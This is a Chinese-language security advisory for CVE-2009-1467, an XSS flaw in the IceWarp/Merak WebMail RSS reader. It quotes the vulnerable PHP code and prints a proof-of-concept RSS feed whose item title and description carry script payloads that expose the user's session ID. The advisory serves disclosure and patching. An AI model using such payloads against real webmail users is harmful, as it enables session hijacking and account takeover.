安全研究

安全漏洞
Merak邮件服务器RSS源阅读器跨站脚本漏洞

发布日期:2009-05-05
更新日期:2009-05-06

受影响系统:
Icewarp WebMail Server 9.4.1
不受影响系统:
Icewarp WebMail Server 9.4.2
描述:
BUGTRAQ  ID: 34825
CVE(CAN) ID: CVE-2009-1467

Merak Email Server是一个全面的办公室局域网或Internet通讯邮件解决方案。

Merak邮件服务器的WebMail用户可以向其文件夹列表中添加RSS源作为文件夹,这些源是由html/webmail/server/inc/rss/rss.php文件解析的,并在html/webmail/server/inc/rss/item.php文件中处理RSS channel中的每个item元素。

getHTML()函数中汇集并返回了条目的最终HTML页面,title和description对应源中的<title>和<description>元素,href对应<link>元素:

------------------------------------------------------------------------
159   public function getHTML(&$aItem)
160   {
161       $aHTML['title'] = $this->subject;
162       $aHTML['href'] = $this->to;
163       $aHTML['description'] = Tools::cleanHTML($this->body,$base);
164
165       $aURL = parse_url($this->to);
166       $aItem['base'] = $aURL['host'];
167
168       @$sHTML = htmlspecialchars(
                        template('inc/templates/rss.tpl',$aHTML)
                    );
169
170       return $sHTML;
171   }
------------------------------------------------------------------------

cleanHTML()函数仅对描述执行了过滤,而title和href未经任何修改便嵌入到了最终的HTML页面中,也就是当用户点击显示条目的时候,会执行用户所订阅到的RSS源条目的<title>或<link>元素中所嵌入的HTML或JavaScript代码。

<*来源:RedTeam Pentesting
  
  链接:http://marc.info/?l=bugtraq&m=124153304701924&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
    <title>RedTeam Pentesting</title>
    <link
      href="http://www.redteam-pentesting.de"
      rel="self"
      type="application/rss+xml" />
    <link>http://www.redteam-pentesting.de</link>
    <description>Seeing your network from the attacker's perspective</description>
    <pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>
    <language>de</language>
    <item>
      <title>&lt;script&gt;alert('Title: Your session id is: ' + \
window.top.sSID);&lt;/script&gt;</title>  \
<link>http://www.redteam-pentesting.de/pentest</link>  <pubDate>Mon, 16 Apr 2009 \
05:23:42 +0000</pubDate>  <description>
        &lt;div o&lt;xml&gt;nmouseover=&quot;alert('Description: Your session id is: \
' + window.top.sSID)&quot;&gt;  RedTeam Pentesting XSS
        &lt;/div&gt;
      </description>
    </item>
  </channel>
</rss>

建议:
厂商补丁:

Icewarp
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.icewarp.com/

浏览次数:2475
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障